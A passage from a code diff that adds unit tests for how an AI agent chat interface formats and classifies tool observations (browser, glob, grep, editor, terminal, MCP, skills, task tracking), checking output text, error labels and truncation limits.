+    expect(result).toContain("**Output:**");
+    expect(result).toContain("Browser action completed");
+  });
+
+  it("should handle error cases properly", () => {
+    const mockEvent: ObservationEvent<BrowserObservation> = {
+      id: "test-id",
+      timestamp: "2024-01-01T00:00:00Z",
+      source: "environment",
+      tool_name: "browser_navigate",
+      tool_call_id: "call-id",
+      action_id: "action-id",
+      observation: {
+        kind: "BrowserObservation",
+        output: "",
+        error: "Browser action failed",
+        screenshot_data: null,
+      },
+    };
+
+    const result = getObservationContent(mockEvent);
+
+    expect(result).toContain("**Error:**");
+    expect(result).toContain("Browser action failed");
+  });
+
+  it("should provide default message when no output or error", () => {
+    const mockEvent: ObservationEvent<BrowserObservation> = {
+      id: "test-id",
+      timestamp: "2024-01-01T00:00:00Z",
+      source: "environment",
+      tool_name: "browser_navigate",
+      tool_call_id: "call-id",
+      action_id: "action-id",
+      observation: {
+        kind: "BrowserObservation",
+        output: "",
+        error: null,
+        screenshot_data: "base64data",
+      },
+    };
+
+    const result = getObservationContent(mockEvent);
+
+    expect(result).toBe("Browser action completed successfully.");
+  });
+
+  it("should return output when screenshot_data is null", () => {
+    const mockEvent: ObservationEvent<BrowserObservation> = {
+      id: "test-id",
+      timestamp: "2024-01-01T00:00:00Z",
+      source: "environment",
+      tool_name: "browser_navigate",
+      tool_call_id: "call-id",
+      action_id: "action-id",
+      observation: {
+        kind: "BrowserObservation",
+        output: "Page loaded successfully",
+        error: null,
+        screenshot_data: null,
+      },
+    };
+
+    const result = getObservationContent(mockEvent);
+
+    expect(result).toBe("**Output:**\nPage loaded successfully");
+  });
+});
+
+describe("getObservationContent - GlobObservation", () => {
+  it("should display files found when glob matches files", () => {
+    // Arrange
+    const mockEvent: ObservationEvent<GlobObservation> = {
+      id: "test-id",
+      timestamp: "2024-01-01T00:00:00Z",
+      source: "environment",
+      tool_name: "glob",
+      tool_call_id: "call-id",
+      action_id: "action-id",
+      observation: {
+        kind: "GlobObservation",
+        content: [{ type: "text", text: "Found 2 files", cache_prompt: false }],
+        is_error: false,
+        files: ["/workspace/src/index.ts", "/workspace/src/app.ts"],
+        pattern: "**/*.ts",
+        search_path: "/workspace",
+        truncated: false,
+      },
+    };
+
+    // Act
+    const result = getObservationContent(mockEvent);
+
+    // Assert
+    expect(result).toBe(
+      "**Pattern:** `**/*.ts`\n**Search Path:** `/workspace`\n\n**Files Found (2):**\n- `/workspace/src/index.ts`\n- `/workspace/src/app.ts`",
+    );
+  });
+
+  it("should display no files found message when glob matches nothing", () => {
+    // Arrange
+    const mockEvent: ObservationEvent<GlobObservation> = {
+      id: "test-id",
+      timestamp: "2024-01-01T00:00:00Z",
+      source: "environment",
+      tool_name: "glob",
+      tool_call_id: "call-id",
+      action_id: "action-id",
+      observation: {
+        kind: "GlobObservation",
+        content: [
+          { type: "text", text: "No files found", cache_prompt: false },
+        ],
+        is_error: false,
+        files: [],
+        pattern: "**/*.xyz",
+        search_path: "/workspace",
+        truncated: false,
+      },
+    };
+
+    // Act
+    const result = getObservationContent(mockEvent);
+
+    // Assert
+    expect(result).toContain("**Pattern:** `**/*.xyz`");
+    expect(result).toContain("**Result:** No files found.");
+  });
+
+  it("should display error when glob operation fails", () => {
+    // Arrange
+    const mockEvent: ObservationEvent<GlobObservation> = {
+      id: "test-id",
+      timestamp: "2024-01-01T00:00:00Z",
+      source: "environment",
+      tool_name: "glob",
+      tool_call_id: "call-id",
+      action_id: "action-id",
+      observation: {
+        kind: "GlobObservation",
+        content: [
+          { type: "image", image_urls: ["ignored"] },
+          { type: "text", text: "Permission denied", cache_prompt: false },
+          { type: "text", text: "Access blocked", cache_prompt: false },
+        ],
+        is_error: true,
+        files: [],
+        pattern: "**/*",
+        search_path: "/restricted",
+        truncated: false,
+      },
+    };
+
+    // Act
+    const result = getObservationContent(mockEvent);
+
+    // Assert
+    expect(result).toBe(
+      "**Pattern:** `**/*`\n**Search Path:** `/restricted`\n\n**Error:**\nPermission denied\nAccess blocked",
+    );
+  });
+
+  it("should indicate truncation when results exceed limit", () => {
+    // Arrange
+    const mockEvent: ObservationEvent<GlobObservation> = {
+      id: "test-id",
+      timestamp: "2024-01-01T00:00:00Z",
+      source: "environment",
+      tool_name: "glob",
+      tool_call_id: "call-id",
+      action_id: "action-id",
+      observation: {
+        kind: "GlobObservation",
+        content: [{ type: "text", text: "Found files", cache_prompt: false }],
+        is_error: false,
+        files: ["/workspace/file1.ts"],
+        pattern: "**/*.ts",
+        search_path: "/workspace",
+        truncated: true,
+      },
+    };
+
+    // Act
+    const result = getObservationContent(mockEvent);
+
+    // Assert
+    expect(result).toContain("**Files Found (1+, truncated):**");
+  });
+});
+
+describe("getObservationContent - GrepObservation", () => {
+  it("should display matches found when grep finds results", () => {
+    // Arrange
+    const mockEvent: ObservationEvent<GrepObservation> = {
+      id: "test-id",
+      timestamp: "2024-01-01T00:00:00Z",
+      source: "environment",
+      tool_name: "grep",
+      tool_call_id: "call-id",
+      action_id: "action-id",
+      observation: {
+        kind: "GrepObservation",
+        content: [
+          { type: "text", text: "Found 2 matches", cache_prompt: false },
+        ],
+        is_error: false,
+        matches: ["/workspace/src/api.ts", "/workspace/src/routes.ts"],
+        pattern: "fetchData",
+        search_path: "/workspace",
+        include_pattern: "*.ts",
+        truncated: false,
+      },
+    };
+
+    // Act
+    const result = getObservationContent(mockEvent);
+
+    // Assert
+    expect(result).toBe(
+      "**Pattern:** `fetchData`\n**Search Path:** `/workspace`\n**Include:** `*.ts`\n\n**Matches (2):**\n- `/workspace/src/api.ts`\n- `/workspace/src/routes.ts`",
+    );
+  });
+
+  it("should display no matches found when grep finds nothing", () => {
+    // Arrange
+    const mockEvent: ObservationEvent<GrepObservation> = {
+      id: "test-id",
+      timestamp: "2024-01-01T00:00:00Z",
+      source: "environment",
+      tool_name: "grep",
+      tool_call_id: "call-id",
+      action_id: "action-id",
+      observation: {
+        kind: "GrepObservation",
+        content: [{ type: "text", text: "No matches", cache_prompt: false }],
+        is_error: false,
+        matches: [],
+        pattern: "nonExistentFunction",
+        search_path: "/workspace",
+        include_pattern: null,
+        truncated: false,
+      },
+    };
+
+    // Act
+    const result = getObservationContent(mockEvent);
+
+    // Assert
+    expect(result).toContain("**Pattern:** `nonExistentFunction`");
+    expect(result).toContain("**Result:** No matches found.");
+    expect(result).not.toContain("**Include:**");
+  });
+
+  it("should display error when grep operation fails", () => {
+    // Arrange
+    const mockEvent: ObservationEvent<GrepObservation> = {
+      id: "test-id",
+      timestamp: "2024-01-01T00:00:00Z",
+      source: "environment",
+      tool_name: "grep",
+      tool_call_id: "call-id",
+      action_id: "action-id",
+      observation: {
+        kind: "GrepObservation",
+        content: [
+          { type: "image", image_urls: ["ignored"] },
+          { type: "text", text: "Invalid regex pattern", cache_prompt: false },
+          { type: "text", text: "Check expression", cache_prompt: false },
+        ],
+        is_error: true,
+        matches: [],
+        pattern: "[invalid",
+        search_path: "/workspace",
+        include_pattern: null,
+        truncated: false,
+      },
+    };
+
+    // Act
+    const result = getObservationContent(mockEvent);
+
+    // Assert
+    expect(result).toBe(
+      "**Pattern:** `[invalid`\n**Search Path:** `/workspace`\n\n**Error:**\nInvalid regex pattern\nCheck expression",
+    );
+  });
+});
+
+describe("getObservationContent - editor and terminal output", () => {
+  it("surfaces editor errors without showing stale output", () => {
+    expect(
+      getObservationContent(
+        makeObservationEvent({
+          kind: "FileEditorObservation",
+          command: "str_replace",
+          output: "stale output",
+          path: "/workspace/app.ts",
+          prev_exist: true,
+          old_content: "old",
+          new_content: "new",
+          error: "The old text was not found",
+        }),
+      ),
+    ).toBe("**Error:**\nThe old text was not found");
+  });
+
+  it("renders viewed and successfully edited content in code fences", () => {
+    const viewed = getObservationContent(
+      makeObservationEvent({
+        kind: "FileEditorObservation",
+        command: "view",
+        output: "fallback",
+        content: [
+          { type: "image", image_urls: ["ignored"] },
+          { type: "text", text: "1  const value = 1;" },
+          { type: "text", text: "2  export default value;" },
+        ],
+        path: "/workspace/app.ts",
+        prev_exist: true,
+        old_content: null,
+        new_content: null,
+        error: null,
+      }),
+    );
+    expect(viewed).toBe(
+      "```\n1  const value = 1;\n2  export default value;\n```",
+    );
+
+    const edited = getObservationContent(
+      makeObservationEvent({
+        kind: "StrReplaceEditorObservation",
+        command: "str_replace",
+        output: "replacement complete",
+        content: [{ type: "text", text: "updated file" }],
+        path: "/workspace/app.ts",
+        prev_exist: true,
+        old_content: "before",
+        new_content: "after",
+        error: null,
+      }),
+    );
+    expect(edited).toBe("```\nupdated file\n```");
+  });
+
+  it("falls back to editor output when no text content is available", () => {
+    expect(
+      getObservationContent(
+        makeObservationEvent({
+          kind: "FileEditorObservation",
+          command: "view",
+          output: "directory listing",
+          path: "/workspace",
+          prev_exist: true,
+          old_content: null,
+          new_content: null,
+          error: null,
+        }),
+      ),
+    ).toBe("```\ndirectory listing\n```");
+    expect(
+      getObservationContent(
+        makeObservationEvent({
+          kind: "FileEditorObservation",
+          command: "create",
+          output: "File created",
+          content: [],
+          path: "/workspace/new.ts",
+          prev_exist: false,
+          old_content: null,
+          new_content: "",
+          error: null,
+        }),
+      ),
+    ).toBe("File created");
+  });
+
+  it("handles malformed editor content and one-sided create metadata", () => {
+    expect(
+      getObservationContent(
+        makeObservationEvent({
+          kind: "FileEditorObservation",
+          command: "view",
+          output: "fallback output",
+          content: "not-an-array",
+          path: "/workspace/app.ts",
+          prev_exist: true,
+          old_content: null,
+          new_content: null,
+          error: null,
+        }),
+      ),
+    ).toBe("```\nfallback output\n```");
+
+    expect(
+      getObservationContent(
+        makeObservationEvent({
+          kind: "FileEditorObservation",
+          command: "create",
+          output: "File created",
+          content: [{ type: "text", text: "created contents" }],
+          path: "/workspace/new.ts",
+          prev_exist: false,
+          old_content: null,
+          new_content: "created contents",
+          error: null,
+        }),
+      ),
+    ).toBe("created contents");
+  });
+
+  it("shows terminal commands, combines text blocks, and ignores images", () => {
+    expect(
+      getObservationContent(
+        makeObservationEvent({
+          kind: "TerminalObservation",
+          content: [
+            { type: "text", text: "first" },
+            { type: "image", image_urls: ["ignored"] },
+            { type: "text", text: "second" },
+          ],
+          command: "printf output",
+          exit_code: 0,
+          is_error: false,
+          timeout: false,
+          metadata: terminalMetadata(0),
+        }),
+      ),
+    ).toBe("Command: `printf output`\n\nOutput:\n```sh\nfirst\nsecond\n```");
+  });
+
+  it("uses the no-output message when a command returns no text", () => {
+    const result = getObservationContent(
+      makeObservationEvent({
+        kind: "ExecuteBashObservation",
+        content: [{ type: "image", image_urls: ["ignored"] }],
+        command: null,
+        exit_code: 0,
+        error: false,
+        timeout: false,
+        metadata: terminalMetadata(0),
+      }),
+    );
+
+    expect(result).toBe("Output:\n```sh\nOBSERVATION$COMMAND_NO_OUTPUT\n```");
+
+    expect(
+      getObservationContent(
+        makeObservationEvent({
+          kind: "TerminalObservation",
+          content: [{ type: "text", text: "   \n  " }],
+          command: null,
+          exit_code: 0,
+          is_error: false,
+          timeout: false,
+          metadata: terminalMetadata(0),
+        }),
+      ),
+    ).toBe("Output:\n```sh\nOBSERVATION$COMMAND_NO_OUTPUT\n```");
+  });
+
+  it("truncates very large terminal output", () => {
+    const result = getObservationContent(
+      makeObservationEvent({
+        kind: "TerminalObservation",
+        content: [{ type: "text", text: "x".repeat(1001) }],
+        command: "generate-output",
+        exit_code: 0,
+        is_error: false,
+        timeout: false,
+        metadata: terminalMetadata(0),
+      }),
+    );
+
+    expect(result).toContain(`${"x".repeat(1000)}...`);
+    expect(result).not.toContain("x".repeat(1001));
+
+    const boundary = getObservationContent(
+      makeObservationEvent({
+        kind: "TerminalObservation",
+        content: [{ type: "text", text: "x".repeat(1000) }],
+        command: null,
+        exit_code: 0,
+        is_error: false,
+        timeout: false,
+        metadata: terminalMetadata(0),
+      }),
+    );
+    expect(boundary).toBe(`Output:\n\`\`\`sh\n${"x".repeat(1000)}\n\`\`\``);
+  });
+});
+
+describe("getObservationContent - tool output", () => {
+  it("prefers browser text content and ignores non-text blocks", () => {
+    const result = getObservationContent(
+      makeObservationEvent({
+        kind: "BrowserObservation",
+        content: [
+          { type: "image", image_urls: ["ignored"] },
+          { type: "text", text: "Visible page text" },
+          { type: "text", text: "Second line" },
+        ],
+        output: "legacy output",
+        error: null,
+        screenshot_data: null,
+      }),
+    );
+
+    expect(result).toBe("**Output:**\nVisible page text\nSecond line");
+  });
+
+  it("falls back to browser output when content has a malformed shape", () => {
+    expect(
+      getObservationContent(
+        makeObservationEvent({
+          kind: "BrowserObservation",
+          content: "not-an-array",
+          output: "legacy output",
+          error: null,
+          screenshot_data: null,
+        }),
+      ),
+    ).toBe("**Output:**\nlegacy output");
+  });
+
+  it("truncates oversized browser messages", () => {
+    const result = getObservationContent(
+      makeObservationEvent({
+        kind: "BrowserObservation",
+        output: "x".repeat(1001),
+        error: null,
+        screenshot_data: null,
+      }),
+    );
+
+    expect(result).toHaveLength(1014);
+    expect(result.endsWith("...(truncated)")).toBe(true);
+
+    const boundary = getObservationContent(
+      makeObservationEvent({
+        kind: "BrowserObservation",
+        content: [{ type: "text", text: "x".repeat(988) }],
+        output: "legacy output",
+        error: null,
+        screenshot_data: null,
+      }),
+    );
+    expect(boundary).toHaveLength(1000);
+    expect(boundary).toBe(`**Output:**\n${"x".repeat(988)}`);
+  });
+
+  it("labels successful and failed MCP tool output", () => {
+    const successful = getObservationContent(
+      makeObservationEvent({
+        kind: "MCPToolObservation",
+        tool_name: "github_search",
+        content: [
+          { type: "text", text: "2 issues" },
+          { type: "image", image_urls: ["ignored"] },
+          { type: "text", text: "1 pull request" },
+        ],
+        is_error: false,
+      }),
+    );
+    const failed = getObservationContent(
+      makeObservationEvent({
+        kind: "MCPToolObservation",
+        tool_name: "github_search",
+        content: [{ type: "text", text: "Access denied" }],
+        is_error: true,
+      }),
+    );
+
+    expect(successful).toBe(
+      "**Tool:** github_search\n\n**Result:**\n2 issues\n1 pull request",
+    );
+    expect(failed).toBe("**Tool:** github_search\n\n**Error:**\nAccess denied");
+  });
+
+  it("truncates oversized MCP output", () => {
+    const result = getObservationContent(
+      makeObservationEvent({
+        kind: "MCPToolObservation",
+        tool_name: "large_tool",
+        content: [{ type: "text", text: "x".repeat(1100) }],
+        is_error: false,
+      }),
+    );
+
+    expect(result).toHaveLength(1003);
+    expect(result.endsWith("...")).toBe(true);
+
+    const boundary = getObservationContent(
+      makeObservationEvent({
+        kind: "MCPToolObservation",
+        tool_name: "boundary",
+        content: [{ type: "text", text: "x".repeat(968) }],
+        is_error: false,
+      }),
+    );
+    expect(boundary).toHaveLength(1000);
+    expect(boundary.endsWith("...")).toBe(false);
+  });
+
+  it("formats successful and failed skill invocations", () => {
+    expect(
+      getObservationContent(
+        makeObservationEvent({
+          kind: "InvokeSkillObservation",
+          skill_name: "testing",
+          content: [
+            { type: "text", text: "Skill instructions" },
+            { type: "image", image_urls: ["ignored"] },
+            { type: "text", text: "Use focused assertions" },
+          ],
+          is_error: false,
+        }),
+      ),
+    ).toBe(
+      "**Skill:** `testing`\n\nSkill instructions\nUse focused assertions",
+    );
+    expect(
+      getObservationContent(
+        makeObservationEvent({
+          kind: "InvokeSkillObservation",
+          skill_name: "",
+          content: [{ type: "text", text: "Skill unavailable" }],
+          is_error: true,
+        }),
+      ),
+    ).toBe("**Error:**\nSkill unavailable");
+  });
+
+  it("truncates oversized skill output", () => {
+    const result = getObservationContent(
+      makeObservationEvent({
+        kind: "InvokeSkillObservation",
+        skill_name: "testing",
+        content: [{ type: "text", text: "x".repeat(1100) }],
+        is_error: false,
+      }),
+    );
+
+    expect(result).toHaveLength(1014);
+    expect(result.endsWith("...(truncated)")).toBe(true);
+
+    const boundary = getObservationContent(
+      makeObservationEvent({
+        kind: "InvokeSkillObservation",
+        skill_name: "boundary",
+        content: [{ type: "text", text: "x".repeat(977) }],
+        is_error: false,
+      }),
+    );
+    expect(boundary).toHaveLength(1000);
+    expect(boundary.endsWith("...(truncated)")).toBe(false);
+  });
+
+  it("surfaces only Canvas UI acknowledgement text", () => {
+    expect(
+      getObservationContent(
+        makeObservationEvent({
+          kind: "CanvasUIObservation",
+          content: [
+            { type: "text", text: "Tab opened" },
+            { type: "image", image_urls: ["ignored"] },
+            { type: "text", text: "Preview ready" },
+          ],
+          is_error: false,
+        }),
+      ),
+    ).toBe("Tab opened\nPreview ready");
+  });
+
+  it("describes successful model switches with the available context", () => {
+    const detailed = getObservationContent(
+      makeObservationEvent({
+        kind: "SwitchLLMObservation",
+        profile_name: "reviewer",
+        active_model: "claude-sonnet",
+        reason: "Review benefits from a second model",
+        content: [],
+        is_error: false,
+      }),
+    );
+    expect(detailed).toBe(
+      "**Profile:** `reviewer`\n**Active model:** `claude-sonnet`\n**Reason:** Review benefits from a second model",
+    );
+
+    expect(
+      getObservationContent(
+        makeObservationEvent({
+          kind: "SwitchLLMObservation",
+          profile_name: "fast",
+          active_model: null,
+          reason: null,
+          content: [],
+          is_error: false,
+        }),
+      ),
+    ).toBe("**Profile:** `fast`");
+  });
+
+  it("uses a server error when present and a useful fallback otherwise", () => {
+    expect(
+      getObservationContent(
+        makeObservationEvent({
+          kind: "SwitchLLMObservation",
+          profile_name: "missing",
+          active_model: null,
+          reason: null,
+          content: [
+            { type: "image", image_urls: ["ignored"] },
+            { type: "text", text: "Profile not found" },
+            { type: "text", text: "Choose another profile" },
+          ],
+          is_error: true,
+        }),
+      ),
+    ).toBe("**Error:**\nProfile not found\nChoose another profile");
+    expect(
+      getObservationContent(
+        makeObservationEvent({
+          kind: "SwitchLLMObservation",
+          profile_name: "missing",
+          active_model: null,
+          reason: null,
+          content: [{ type: "image", image_urls: ["ignored"] }],
+          is_error: true,
+        }),
+      ),
+    ).toBe("**Error:**\nFailed to switch LLM profile `missing`.");
+  });
+});
+
+describe("getObservationContent - task and simple observations", () => {
+  it("formats task plans, status icons, notes, and a result message", () => {
+    const result = getObservationContent(
+      makeObservationEvent({
+        kind: "TaskTrackerObservation",
+        command: "plan",
+        task_list: [
+          { title: "Write", notes: "Important", status: "todo" },
+          { title: "Test", notes: "", status: "in_progress" },
+          { title: "Ship", notes: "", status: "done" },
+          { title: "Review", notes: "", status: "blocked" },
+        ],
+        content: "  Plan updated  ",
+      }),
+    );
+
+    expect(result).toContain("Task List (4 items)");
+    expect(result).toContain("\n1. ⏳ **[TODO]** Write");
+    expect(result).toContain("\n2. 🔄 **[IN PROGRESS]** Test");
+    expect(result).toContain("⏳ **[TODO]** Write");
+    expect(result).toContain("🔄 **[IN PROGRESS]** Test");
+    expect(result).toContain("✅ **[DONE]** Ship");
+    expect(result).toContain("❓ **[BLOCKED]** Review");
+    expect(result).toContain("*Notes: Important*");
+    expect(result).not.toContain("*Notes: *");
+    expect(result).toContain("**Result:** Plan updated");
+  });
+
+  it("uses singular task copy and describes empty plans", () => {
+    expect(
+      getObservationContent(
+        makeObservationEvent({
+          kind: "TaskTrackerObservation",
+          command: "plan",
+          task_list: [{ title: "Only task", notes: "", status: "todo" }],
+          content: "",
+        }),
+      ),
+    ).toContain("Task List (1 item)");
+    expect(
+      getObservationContent(
+        makeObservationEvent({
+          kind: "TaskTrackerObservation",
+          command: "plan",
+          task_list: [],
+          content: "   ",
+        }),
+      ),
+    ).toBe("**Command:** `plan`\n\n**Task List:** Empty");
+    expect(
+      getObservationContent(
+        makeObservationEvent({
+          kind: "TaskTrackerObservation",
+          command: "view",
+          task_list: [
+            { title: "Do not render", notes: "hidden", status: "todo" },
+          ],
+          content: "Current list",
+        }),
+      ),
+    ).toBe("**Command:** `view`\n\n**Result:** Current list");
+  });
+
+  it("returns thought text and ignores image-only thought content", () => {
+    expect(
+      getObservationContent(
+        makeObservationEvent({
+          kind: "ThinkObservation",
+          content: [
+            { type: "text", text: "Logged" },
+            { type: "image", image_urls: ["ignored"] },
+            { type: "text", text: "Still thinking" },
+          ],
+        }),
+      ),
+    ).toBe("Logged\nStill thinking");
+    expect(
+      getObservationContent(
+        makeObservationEvent({
+          kind: "ThinkObservation",
+          content: [{ type: "image", image_urls: ["ignored"] }],
+        }),
+      ),
+    ).toBe("");
+  });
+
+  it("labels failed finish observations and returns successful text directly", () => {
+    expect(
+      getObservationContent(
+        makeObservationEvent({
+          kind: "FinishObservation",
+          content: [
+            { type: "text", text: "Done" },
+            { type: "text", text: "Verified" },
+          ],
+          is_error: false,
+        }),
+      ),
+    ).toBe("Done\nVerified");
+    expect(
+      getObservationContent(
+        makeObservationEvent({
+          kind: "FinishObservation",
+          content: [
+            { type: "image", image_urls: ["ignored"] },
+            { type: "text", text: "Could not finish" },
+          ],
+          is_error: true,
+        }),
+      ),
+    ).toBe("**Error:**\nCould not finish");
+  });
+
+  it("preserves unknown observations as JSON for forward compatibility", () => {
+    const content = getObservationContent(
+      makeObservationEvent({ kind: "FutureObservation", value: 42 }),
+    );
+
+    expect(content).toContain('"kind": "FutureObservation"');
+    expect(content).toContain('"value": 42');
+  });
+});
+
+describe("getObservationContent - large search results", () => {
+  it("does not truncate glob output exactly at the content limit", () => {
+    const result = getObservationContent(
+      makeObservationEvent({
+        kind: "GlobObservation",
+        content: [],
+        is_error: false,
+        files: ["x".repeat(936)],
+        pattern: "p",
+        search_path: "/",
+        truncated: false,
+      }),
+    );
+
+    expect(result).toHaveLength(1000);
+    expect(result.endsWith("...(truncated)")).toBe(false);
+  });
+
+  it("truncates oversized glob results", () => {
+    const result = getObservationContent(
+      makeObservationEvent({
+        kind: "GlobObservation",
+        content: [],
+        is_error: false,
+        files: [`/workspace/${"x".repeat(1100)}`],
+        pattern: "**/*",
+        search_path: "/workspace",
+        truncated: false,
+      }),
+    );
+
+    expect(result).toHaveLength(1014);
+    expect(result.endsWith("...(truncated)")).toBe(true);
+  });
+
+  it("marks truncated grep matches and caps oversized output", () => {
+    const result = getObservationContent(
+      makeObservationEvent({
+        kind: "GrepObservation",
+        content: [],
+        is_error: false,
+        matches: [`/workspace/${"x".repeat(1100)}`],
+        pattern: "needle",
+        search_path: "/workspace",
+        include_pattern: "*.ts",
+        truncated: true,
+      }),
+    );
+
+    expect(result).toContain("**Matches (1+, truncated):**");
+    expect(result).toHaveLength(1014);
+    expect(result.endsWith("...(truncated)")).toBe(true);
+  });
+
+  it("does not truncate grep output exactly at the content limit", () => {
+    const result = getObservationContent(
+      makeObservationEvent({
+        kind: "GrepObservation",
+        content: [],
+        is_error: false,
+        matches: ["x".repeat(940)],
+        pattern: "p",
+        search_path: "/",
+        include_pattern: null,
+        truncated: false,
+      }),
+    );
+
+    expect(result).toHaveLength(1000);
+    expect(result.endsWith("...(truncated)")).toBe(false);
+  });
+});
diff --git a/__tests__/components/conversation-events/chat/event-content-helpers/get-observation-result.test.ts b/__tests__/components/conversation-events/chat/event-content-helpers/get-observation-result.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..eb6ac80f279730970bea86ebad3586bb3b39ae97
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/event-content-helpers/get-observation-result.test.ts
@@ -0,0 +1,243 @@
+import { describe, expect, it } from "vitest";
+import {
+  getACPToolCallResult,
+  getObservationResult,
+} from "#/components/conversation-events/chat/event-content-helpers/get-observation-result";
+import { ACPToolCallEvent } from "#/types/agent-server/core/events/acp-tool-call-event";
+import { ObservationEvent } from "#/types/agent-server/core";
+
+const makeACPEvent = (
+  overrides: Partial<ACPToolCallEvent> = {},
+): ACPToolCallEvent => ({
+  id: "acp-1",
+  kind: "ACPToolCallEvent",
+  timestamp: "2024-01-01T00:00:00Z",
+  source: "agent",
+  tool_call_id: "tc-1",
+  title: "Run command",
+  status: "completed",
+  tool_kind: "execute",
+  raw_input: { command: "ls" },
+  raw_output: "file.txt",
+  content: null,
+  is_error: false,
+  ...overrides,
+});
+
+describe("getACPToolCallResult", () => {
+  it("maps completed → success", () => {
+    expect(getACPToolCallResult(makeACPEvent({ status: "completed" }))).toBe(
+      "success",
+    );
+  });
+
+  it("maps failed → error", () => {
+    expect(getACPToolCallResult(makeACPEvent({ status: "failed" }))).toBe(
+      "error",
+    );
+  });
+
+  it("maps is_error → error even when status is completed", () => {
+    expect(
+      getACPToolCallResult(
+        makeACPEvent({ status: "completed", is_error: true }),
+      ),
+    ).toBe("error");
+  });
+
+  it.each(["pending", "in_progress"] as const)(
+    "maps non-terminal status %s → undefined (running card)",
+    (status) => {
+      expect(getACPToolCallResult(makeACPEvent({ status }))).toBeUndefined();
+    },
+  );
+
+  it("maps null status → undefined (running card)", () => {
+    expect(
+      getACPToolCallResult(makeACPEvent({ status: null })),
+    ).toBeUndefined();
+  });
+});
+
+const makeObs = (
+  observation: ObservationEvent["observation"],
+): ObservationEvent => ({
+  id: "obs-1",
+  timestamp: "2024-01-01T00:00:00Z",
+  source: "environment",
+  tool_name: "tool",
+  tool_call_id: "tc-1",
+  action_id: "act-1",
+  observation,
+});
+
+const makeMetadata = (exitCode: number) => ({
+  exit_code: exitCode,
+  pid: 123,
+  username: "openhands",
+  hostname: "runtime",
+  working_dir: "/workspace",
+  py_interpreter_path: null,
+  prefix: "",
+  suffix: "",
+});
+
+describe("getObservationResult", () => {
+  it("maps bash exit codes from either top-level output or metadata", () => {
+    const bash = (exitCode: number | null, metadataExitCode: number) =>
+      makeObs({
+        kind: "ExecuteBashObservation",
+        content: [],
+        command: "test",
+        exit_code: exitCode,
+        error: false,
+        timeout: false,
+        metadata: makeMetadata(metadataExitCode),
+      });
+
+    expect(getObservationResult(bash(-1, 0))).toBe("timeout");
+    expect(getObservationResult(bash(null, -1))).toBe("timeout");
+    expect(getObservationResult(bash(0, 1))).toBe("success");
+    expect(getObservationResult(bash(null, 0))).toBe("success");
+    expect(getObservationResult(bash(2, 2))).toBe("error");
+  });
+
+  it("maps terminal timeouts, failures, and successful fallback states", () => {
+    const terminal = (
+      exitCode: number | null | undefined,
+      metadataExitCode: number | null,
+      overrides: { timeout?: boolean; is_error?: boolean } = {},
+    ) =>
+      makeObs({
+        kind: "TerminalObservation",
+        content: [],
+        command: "test",
+        exit_code: exitCode,
+        is_error: overrides.is_error ?? false,
+        timeout: overrides.timeout ?? false,
+        metadata: makeMetadata(metadataExitCode as number),
+      } as unknown as ObservationEvent["observation"]);
+
+    expect(getObservationResult(terminal(1, 1, { timeout: true }))).toBe(
+      "timeout",
+    );
+    expect(getObservationResult(terminal(-1, 0))).toBe("timeout");
+    expect(getObservationResult(terminal(0, 1))).toBe("success");
+    expect(getObservationResult(terminal(0, 1, { is_error: true }))).toBe(
+      "success",
+    );
+    expect(getObservationResult(terminal(null, 0))).toBe("success");
+    expect(getObservationResult(terminal(2, 2, { is_error: true }))).toBe(
+      "error",
+    );
+    expect(getObservationResult(terminal(undefined, null))).toBe("success");
+  });
+
+  it("maps editor errors and successful editor outcomes", () => {
+    const editor = (kind: string, error: string | null) =>
+      makeObs({
+        kind,
+        command: "view",
+        output: "",
+        path: "/workspace/file.ts",
+        prev_exist: true,
+        old_content: null,
+        new_content: null,
+        error,
+      } as ObservationEvent["observation"]);
+
+    expect(
+      getObservationResult(editor("FileEditorObservation", "Not found")),
+    ).toBe("error");
+    expect(
+      getObservationResult(editor("StrReplaceEditorObservation", null)),
+    ).toBe("success");
+    expect(
+      getObservationResult(
+        editor("StrReplaceEditorObservation", "Replacement failed"),
+      ),
+    ).toBe("error");
+  });
+
+  it("maps MCP and model-switch error flags", () => {
+    const mcp = (isError: boolean) =>
+      makeObs({
+        kind: "MCPToolObservation",
+        content: [],
+        is_error: isError,
+        tool_name: "search",
+      });
+    const modelSwitch = (isError: boolean) =>
+      makeObs({
+        kind: "SwitchLLMObservation",
+        content: [],
+        is_error: isError,
+        profile_name: "reviewer",
+        reason: null,
+        active_model: null,
+      });
+
+    expect(getObservationResult(mcp(true))).toBe("error");
+    expect(getObservationResult(mcp(false))).toBe("success");
+    expect(getObservationResult(modelSwitch(true))).toBe("error");
+    expect(getObservationResult(modelSwitch(false))).toBe("success");
+  });
+
+  it("maps InvokeSkillObservation is_error → error, otherwise success", () => {
+    expect(
+      getObservationResult(
+        makeObs({
+          kind: "InvokeSkillObservation",
+          skill_name: "s",
+          content: [],
+          is_error: true,
+        }),
+      ),
+    ).toBe("error");
+    expect(
+      getObservationResult(
+        makeObs({
+          kind: "InvokeSkillObservation",
+          skill_name: "s",
+          content: [],
+          is_error: false,
+        }),
+      ),
+    ).toBe("success");
+  });
+
+  it("maps TaskObservation is_error or failed status → error, otherwise success", () => {
+    const task = (extra: { status: string; is_error?: boolean }) =>
+      makeObs({
+        kind: "TaskObservation",
+        content: [],
+        task_id: "t1",
+        subagent: "code-explorer",
+        ...extra,
+      });
+    expect(getObservationResult(task({ status: "completed" }))).toBe("success");
+    expect(getObservationResult(task({ status: "failed" }))).toBe("error");
+    expect(
+      getObservationResult(task({ status: "completed", is_error: true })),
+    ).toBe("error");
+  });
+
+  it("maps CanvasUIObservation is_error → error, otherwise success", () => {
+    expect(
+      getObservationResult(
+        makeObs({ kind: "CanvasUIObservation", content: [], is_error: true }),
+      ),
+    ).toBe("error");
+    expect(
+      getObservationResult(
+        makeObs({ kind: "CanvasUIObservation", content: [], is_error: false }),
+      ),
+    ).toBe("success");
+  });
+
+  it("treats observation kinds without failure semantics as successful", () => {
+    expect(
+      getObservationResult(makeObs({ kind: "ThinkObservation", content: [] })),
+    ).toBe("success");
+  });
+});
diff --git a/__tests__/components/conversation-events/chat/event-content-helpers/get-skill-ready-items.test.ts b/__tests__/components/conversation-events/chat/event-content-helpers/get-skill-ready-items.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..db30a8f07a20dd8b5209287f8176f745276405b2
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/event-content-helpers/get-skill-ready-items.test.ts
@@ -0,0 +1,183 @@
+import { describe, expect, it } from "vitest";
+import {
